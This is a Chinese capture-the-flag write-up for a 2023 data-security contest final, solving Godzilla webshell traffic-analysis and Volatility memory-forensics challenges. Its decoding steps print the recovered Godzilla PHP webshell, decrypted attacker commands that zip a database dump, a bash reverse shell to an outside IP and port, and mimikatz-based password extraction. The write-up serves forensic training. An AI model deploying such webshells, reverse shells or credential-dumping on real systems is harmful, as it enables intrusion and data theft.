2023江苏省第二届数据安全技能大赛决赛题

**1.**流量分析 -GozTraffic

  1. 黑客使用哥斯拉成功连接受害服务器并返回数据的时间是 _____________ 。(格式为 YYYY-MM-DD_HH:MM:SS

追踪tcp流,可以发现在67个流的里面有很多内容

这里有时间,这里需要注意如何解决哥斯拉流量的解码

打开cyberchef

经过url解码后,可以看到,是先需要url解码,然后字符反转再base64解码

复制这一部分

就可以看到执行的代码

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP @session_start(); @set_time_limit(0); @error_reporting(0); function encode(D,K){ for(i=0;i<strlen(D);i++) { c = K[i+1\&15\]; D[i\] = D[i\]\^c; } return D; } pass='oL@ns!@opaOiw'; payloadName='payload'; key='6cfcfe9b99c68a0a'; if (isset(_POST\[pass])){ data=encode(base64_decode(_POST[pass\]),key); if (isset(_SESSION\[payloadName])){ payload=encode(_SESSION[payloadName\],key); if (strpos(payload,"getBasicsInfo")===false){ payload=encode(payload,key); } eval(payload); echo substr(md5(pass.key),0,16); echo base64_encode(encode(@run(data),key)); echo substr(md5(pass.key),16); }else{ if (strpos(data,"getBasicsInfo")!==false){ _SESSION\[payloadName]=encode(data,key); } } } |

根据代码,返回的数据是拼接而来,第一部分是 16 字节的 md5,然后是encode 的数据,然后是 16 自己的md5

**2.**受害服务器的上游服务器 IPv6 地址是 _________________

解密第 67 流最下面的密文数据

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP import gzip def dec(c,key): p="" for i in range(len(c)): p += chr(ord(c[i])^ord(key[(i+1)&15])) return p cipher = b"fO1rZmU5Yjk5YEtsqkLCDne7iE3No89VJx0yixLpBdTJXjOGqU2tfxwj7qInvyAUEtT7CfoSDh7QJvm6I8f9zfNoJAIDHjncHL0Vr6LpypsL2oZS/z/xYA1aBPEbbhqJrsQcRaXfsUnLPzvqb27Y+d7aK7UYR0Li1izdxQ/TvMG/PWwhSrXfCXGFdyqvjIb1pe3fFdkdqQDjb0v3xU1XmuTvzMnKkSrO4EIT04yGYZIOpCZUytFAYOnLfPpBuPIey/ULs9NwqS9Oaju72mswqHZhS/yobzO1J22xpB0Tlm+Sgdm+w2LVw3ykQCnm+VNqssJp8dadPH9O9MT1gh4cDPM7bePNdekG64HJTtc8y2Ox0LMEdPxOMN7I0G5kSsVmBpMRfCn6C5T97o9VWzp2RbcWIM3rqBSpjIZ8IlYIsnrx7HmwFZ5wi2XTQR14nJJU4P7PM4Y7pvevKjVdhaKItcNYK52nQz2mjXyxRqabEM/yDB/PQzTJv9onHAEYhwckZjd7yucx+w5a+ubvB2YJKRI/FCWmscTPPYMCebpckooUTHY/E4FvvJ40/MKCmR2dHls3e8ponKmqEavX/bA7ermcqyFpvUpO4HD2Cckjv7uDaPnw3ob+VwipTW1SU7dLjoD9p14XRxJWJXMN9Cu7Q9zZENsAbif7lgscBzEz/Kov9Ok3oL7edfIRgcVBPBzPW4WshuzzxCLkucS2+H9z2GaLm52yNXIjNCMmFlhBiOEaNWQoZH3gMOzcp7ZqXrz4wR7sYLgQuCl4rFW14K4hG+Fbsay9KJ27gPOrYVwI2iYEa0PkdN8wNs9lGzu1gPc4/kMls1rh52m63kbajPh6geBGa0e1WnK+yrrU3rIC2gmjKynJ+QUQQM+gH8RkcoUAr3yRD09xupGngrBi5/ESUbIHZlBTn6GDP6HK6xD7B85+Lj+zZ52kjESwOu8i74Bwamrk0cn+z+zBu9Yb0iab1XBTRKoOHD0JrtX1R3oV0J7vi9pahwsd/e5MNEt9X01KbbxUPtn4LuDZH61ZvBhT8ICM0XH5pgq2eAFI/mRbWgA9pih/ot9Grf9GIYIC75cGJzfuSScjGg5Fcy6WqrsANDiT4C+de19P/uWRX0H/eYuVuv5vCQYYJrpOpwHI7nORbdeXjhsrn/kpVuy9L/n3QOVHID0j/af4LofMy71Ov8M8O9gdlWhjvfIgyTmAE3+PgmNjZg==" from base64 import * gg = dec(b64decode(cipher).decode("latin1"),"6cfcfe9b99c68a0a") print(gzip.decompress(gg.encode("latin1")).decode()) |

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP OsInfo : Linux ctmd 6.2.0-32-generic #32~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 18 10:40:13 UTC 2 x86_64 CurrentUser : www REMOTE_ADDR : fd15:4ba5:5a2b:1008:20c:29ff:fe57:a107 REMOTE_PORT : 33928 HTTP_X_FORWARDED_FOR : fd15:4ba5:5a2b:1008:f581:619a:b163:c627 HTTP_CLIENT_IP : SERVER_ADDR : fd15:4ba5:5a2b:1008:60b9:ff63:528e:149d SERVER_NAME : tp6.0.1.com SERVER_PORT : 32154 disable_functions : Open_basedir : timezone : PRC encode : extension_dir : /www/server/php/81/lib/php/extensions/no-debug-non-zts-20210902 systempdir : /tmp/ include_path : .: DOCUMENT_ROOT : /www/wwwroot/32154/tp/public PHP_SAPI : fpm-fcgi PHP_VERSION : 8.1.17 PHP_INT_SIZE : 8 ProcessArch : x64 PHP_OS : Linux canCallGzipDecode : 1 canCallGzipEncode : 1 session_name : PHPSESSID session_save_path : session_save_handler : files session_serialize_handler : php user_ini_filename : .user.ini memory_limit : 128M upload_max_filesize : 50M post_max_size : 50M max_execution_time : 0 max_input_time : 60 default_socket_timeout : 60 mygid : 1001 mypid : 81435 SERVER_SOFTWAREypid : nginx/1.22.1 loaded_extensions : Core,date,libxml,openssl,pcre,sqlite3,zlib,bcmath,ctype,curl,dom,filter,ftp,gd,gettext,hash,iconv,intl,json,mbstring,SPL,session,pcntl,standard,mysqlnd,PDO,pdo_mysql,pdo_sqlite,Phar,posix,Reflection,mysqli,shmop,SimpleXML,soap,sockets,sodium,sysvsem,tokenizer,xml,xmlreader,xmlwriter,cgi-fcgi,zip short_open_tag : true asp_tags : false safe_mode : false CurrentDir : /www/wwwroot/32154/tp/public FileRoot : / |

三个 ipv6 都试了一下,好像是:fd15:4ba5:5a2b:1008:60b9:ff63:528e:149d

**3.**黑客对受害服务器上的敏感文件进行打包操作,请问该压缩包密码是 ___________

在 57 流能够看到一段base64

去除http,进行解码

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP <?php function customEncrypt(data, key) { key = md5(key); iv = random_bytes(16); encryptedData = openssl_encrypt(data, 'aes-256-cbc', key, OPENSSL_RAW_DATA, iv); result = base64_encode(iv . encryptedData); return $result; } |

解密后是一段php 的 aes 加密。

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP data: 需要被加密的原始数据(明文)。 key: 加密与解密过程中使用的密钥。 函数步骤 密钥处理: 使用 md5() 函数对提供的 key 进行哈希处理。这一步是为了确保密钥的长度和格式满足后续加密算法的要求。MD5 的输出是一个固定长度的字符串,通常用于加密算法中作为密钥。 生成初始化向量: 调用 random_bytes(16) 来生成一个随机的初始化向量(IV),长度为 16 字节。初始化向量在加密算法中用于增加加密过程的随机性,防止相同明文产生相同的密文,从而提高安全性。 数据加密: 利用 openssl_encrypt() 函数对 data 进行加密。这里使用的是 AES-256-CBC 算法,这是一种广泛认可的安全加密标准。参数说明如下: 第一个参数是待加密的明文 data。 第二个参数是加密算法名称 'aes-256-cbc'。 第三个参数是经过 MD5 处理的 key。 第四个参数 OPENSSL_RAW_DATA 表示使用原始数据模式。 第五个参数是前面生成的初始化向量 iv。 结果是加密后的数据 encryptedData。 结果编码: 将 iv 和 encryptedData 连接在一起,然后使用 base64_encode() 函数进行编码。Base64 编码是一种将二进制数据转换为文本字符串的编码方式,便于在网络上传输或存储在文本文件中而不丢失信息。 返回结果: 最后,函数返回编码后的字符串 $result,即最终的加密数据。 总结 customEncrypt 函数通过一系列安全措施(如使用 MD5 哈希、随机 IV 和 AES-256-CBC 加密算法)来加密数据,然后通过 Base64 编码确保加密结果可以安全地在网络上传输或存储。这种加密方法可以有效地保护数据免受未经授权的访问和篡改 |

但是我们没key啊?预期解是++让我们爆,,++ ++key++ ++的长度是++ ++5++ ++个字符,并且是十六进制字符,很难崩++ ,爆出来的密钥是 61c42

找到第23流的数据

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP from base64 import * cc = b64decode("jiVOhckW3Dp9ePlm2iuyBWBHWNlDxWbTlAqPt+JLIa8s3+vJZlcVIHKETqbIknErPCkevvm3heHFI5Vc5W8Wby8+W+6hfhjM/i0XyxsbIZVj5QyHQ4isWlekCszQlevGH8SlxjvfIRcbMxdUXREI/EWGiZKdFL81U80x7V9em+MJ4KsScq0bgnJ98yq1nMcl") c = cc[16:] iv = cc[:16] key = b'a5a74e2ab431761ecb2299ef88d46a38' from Crypto.Cipher import AES enc = AES.new(iv=iv,key=key,mode=AES.MODE_CBC) print(enc.decrypt(c)) #b'system(\'zip -q -r -P "SN@jSoiueFIEZSIDJ" /www/wwwroot/32154/tp/public/flag.zip /www/wwwroot/32154/tp/public/db/dumpfile.sql\');\x02\x02' |

**4.**黑客留下的后门 IP 地址和端口号是 ________________ 。(格式为 IP_PORT

解密tcp 76流的流量,

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP import gzip def dec(c,key): p="" for i in range(len(c)): p += chr(ord(c[i])^ord(key[(i+1)&15])) return p cipher = b"fO1rZmU5Yjk5YGVutX+r+rApKUqr2WAoM9n/MouZdJ+qbHM4w7v4pEcpXKEfeRO33cfC7/uQ/Jin8peZ37nwh/LH4ev/mFg5tEnbaCIwYTY=" from base64 import * gg = dec(b64decode(cipher).decode("latin1"),"6cfcfe9b99c68a0a") print(gzip.decompress(gg.encode("latin1")).decode()) #bash -c 'exec bash -i &>/dev/tcp/114.5.1.211/42321 <&1' |

**5.**受害服务器上的中间件、中间件版本、 PHP 版本、框架名以及对应版本为 ___________ 。(格式为:中间件 : 中间件版本 _PHP 版本 _ 框架名 : 框架版本,如 tomcat:9.0.0_5.4.0_yii:2.38.0

根据第二题的信息,我们知道中间件的版本是 nginx/1.22.1;php的版本是 8.1.17,但是不知道 thinkphp 的版本

和第三小题一样,不过密钥又换了 ,这回是 '23b4d'

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP from base64 import * from hashlib import md5 cc = b64decode("4Q77JutsR+DCTQEDptU6aUvtVVu5h+F+mIHcSE3jJl9hnjPSnBapKdxNNJ3i0Qgr") from Crypto.Cipher import AES c = cc[16:] iv = cc[:16] for i in range(1048575): key = md5(hex(i)[2:].rjust(5,'0').encode()).hexdigest().encode() #key = b'a5a74e2ab431761ecb2299ef88d46a38' #key = b'1d77b220bdf94d38007e3e6e9c380588' enc = AES.new(iv=iv,key=key,mode=AES.MODE_CBC) res = enc.decrypt(c) if res[-1]==res[-2]==res[-3]: print(res,hex(i)) |

找到 version.zip 的密码

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP from base64 import * from hashlib import md5 cc = b64decode("WsclGnueTdLgsUSeNeoqvUouMsABv70pjjt+0cUFsLQMlEkgUVXIZV4cyshI0Z5aGXQ4ZNefWX37rbR88Im2Qp5j08fnwXj9st8vV2cdhfODV24X0iL5V5aR0pB+eRiNE+oDRLAQBxR2UBcnjCk/inupvIHpSzD9Ug1GhtFGdMW/SeF0+s6LCaeRSqvoggeF") from Crypto.Cipher import AES c = cc[16:] iv = cc[:16] key = b'1d77b220bdf94d38007e3e6e9c380588' enc = AES.new(iv=iv,key=key,mode=AES.MODE_CBC) res = enc.decrypt(c) print(res) # b'system("zip -q -r -P "MS1209D@IOEJabnsdIUJEOI@" /www/wwwroot/32154/tp/public/version.zip /www/wwwroot/32154/tp/composer.json");\x01' |

8604数据包拿到 version.zip

所以 flag:nginx:1.22.1_8.1.17_thinkphp:6.0.12

(比赛的时候根本没人能想到这么脑洞的加密方式,因此与压缩包密码相关的两题也都没人能做出来)

**2.**内存取证 -MemoryLife

**1.**请给出内存镜像中黑客使用工具对外连接的 IP 地址及端口号是 ___________ 。(格式为 IP_PORT

先看一下系统的信息

|----------------------------------------|
| PHP vol.py -f MemoryLife.raw imageinfo |

|-----------------------------------------------------------|
| PHP vol.py -f MemoryLife.raw --profile=Win7SP1x64 netscan |

找到一个nc.exe 外连192.168.233.1_54266

**2.**请给出内存镜像中用户 BGS-Chenyi 的开机密码 ___________

使用工具 Passware Kit Forensic

得到密码:abc123456

方法2:使用vol中的插件mimikatz破解

  • 安装必要的库,mimikztz是python2环境的,双环境地话windows下的话可能不太好安装,最好再linux中进行

|----------------------------|
| PHP pip2 install construct |

用pip2的原因就是要装在python2的环境下,如果装到了python3的环境下,会报错

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 其次运行plugins需要安装一下依赖 sudo -H pip install distorm3 pycrypto openpyxl Pillow sudo apt-get install yara PS:如果仍然报错yara有问题,可以尝试连接yara的so文件到系统 ln -s /usr/local/lib/python2.7/dist-packages/usr/lib/libyara.so /usr/lib/libyara.so |

. 有些 github 上的 mimikatz.py 有点问题 没办法使用

下面这个可以:https://github.com/RealityNet/hotoloti/tree/master

|-----------------------------------------------------------------------------------------------------------------|
| PHP vol.py --plugins=/root/CTF-tools/volatility-2.6.1/volatility/plugins -f 1.raw --profile=Win7SP1x64 mimikatz |

虽然没有破解出来,但是的确在破解

**3.**黑客工具里的 LOGONSERVER 环境变量值是 ___________

这里的黑客工具应该就是指的是第一题中的nc.exe,把它dump下来

|----------------------------------------------------------|
| PHP vol.py -f MemoryLife.raw --profile=Win7SP1x64 pslist |

|-------------------------------------------------------------------------|
| PHP vol.py -f MemoryLife.raw --profile=Win7SP1x64 memdump -p 3036 -D ./ |

在执行命令的文件下可以找到这个文件,将文件拷贝出来放到010中进行查看,搜索关键词:LOGONSERVER

找到对应的内容:\BGS-CHENYJ-PC

**4.**请给出内存镜像中屏幕里的内容 ___________

当下载屏幕截图的时候发现只有一张图,但也没有实际价值

|----------------------------------------------------------------------------|
| PHP vol.py -f MemoryLife.raw --profile=Win7SP1x64 screenshot --dump-dir ./ |

查看进程信息,发现了一个mspaint,dump 下 mspaint.exe

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| MSPaint 通常指的是"Microsoft Paint",即微软画图。 它是 Windows 操作系统自带的一款简单的图像编辑软件。 Microsoft Paint 具有一些基本的绘图和图像编辑功能,比如绘制线条、形状、填充颜色,以及裁剪、缩放、翻转图像等操作。对于一些简单的图像创作和修改需求,它可以提供快速而直接的解决方案。 例如,用户可以用它来快速为图片添加注释、标记重点,或者绘制简单的草图、图标等。然而,与专业的图像编辑软件如 Adobe Photoshop 相比,MSPaint 的功能相对较为有限,但正因如此,它易于上手,对电脑配置要求低,适合那些不需要复杂图像处理的用户使用。 |

|-------------------------------------------------------------------------|
| PHP vol.py -f MemoryLife.raw --profile=Win7SP1x64 memdump -p 4312 -D ./ |

要把后缀改成.data才能导入到gimp,在宽度为576的时候可以看到有字符,是倒立的,镜像+旋转就正常了

gimp直接官网下载一步步安装即可

注意此处参数的设置,不要出错

旋转一下,gydk5sp

5.请给出wps.ini最后的修改时间_____________。(格式为YYYY-MM-DD_hh:mm:ss_+0000)

恢复被删除的文件,也可以用来查看被修改的文件,东西很多把关于 wps 的过滤出来

2023-09-19_03:31:27_+0000

附件获取:
链接:https://pan.quark.cn/s/213f530d5182
提取码:VNwc

相关推荐
大咖分享课3 小时前
多租户系统中的安全隔离机制设计
人工智能·安全·安全隔离
荔枝吻3 小时前
软件异常读写威胁硬盘安全:从过往案例到防护之道
安全·硬盘
小马爱打代码3 小时前
Spring Boot 接口安全设计:接口限流、防重放攻击、签名验证
网络·spring boot·安全
北极光SD-WAN组网6 小时前
工业互联网时代,如何通过混合SD-WAN提升煤炭行业智能化网络安全
网络·安全·web安全
深圳安锐科技有限公司7 小时前
基坑渗压数据不准?选对渗压计能实现自动化精准监测吗?
安全·自动化·自动化监测·大坝监测·渗压计
Arwen3039 小时前
解密国密 SSL 证书:SM2、SM3、SM4 算法的协同安全效应
算法·安全·ssl
dingzd959 小时前
通过 Web3 区块链安全评估,领先应对网络威胁
安全·web3·区块链·facebook·tiktok·instagram·clonbrowser
未来之窗软件服务12 小时前
网站访问信息追踪系统在安全与性能优化中的关键作用——网络安全—仙盟创梦IDE
安全·web安全·性能优化·仙盟创梦ide·东方仙盟
用户2990558668713 小时前
Apache-Http-Server CVE-2021-42013
安全